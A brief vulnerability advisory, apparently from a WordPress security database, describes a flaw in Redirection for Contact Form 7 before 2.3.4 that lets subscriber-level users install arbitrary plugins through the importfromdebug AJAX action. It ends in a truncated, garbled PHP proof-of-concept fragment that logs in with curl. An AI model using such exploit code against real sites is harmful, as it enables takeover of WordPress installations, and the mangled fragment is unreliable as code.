Design/Logic Flaw

In the Redirection for Contact Form 7 WordPress plugin before 2.3.4, low level users, such as subscribers, could use the importfromdebug AJAX action to install any plugin from the WordPress repository...

Redirection for Contact Form 7 < 2.3.4 - Authenticated Arbitrary Plugin Installation

In the plugin, low level users, such as subscribers, could use the importfromdebug AJAX action to install any plugin from the WordPress repository. PoC $wpuser, 'pwd' = $wppass, 'rememberme' = 'forever', 'wp-submit' = 'Log+In', ; $output = curlexec$ch; curlclose$ch; // Install some plugins $ch =...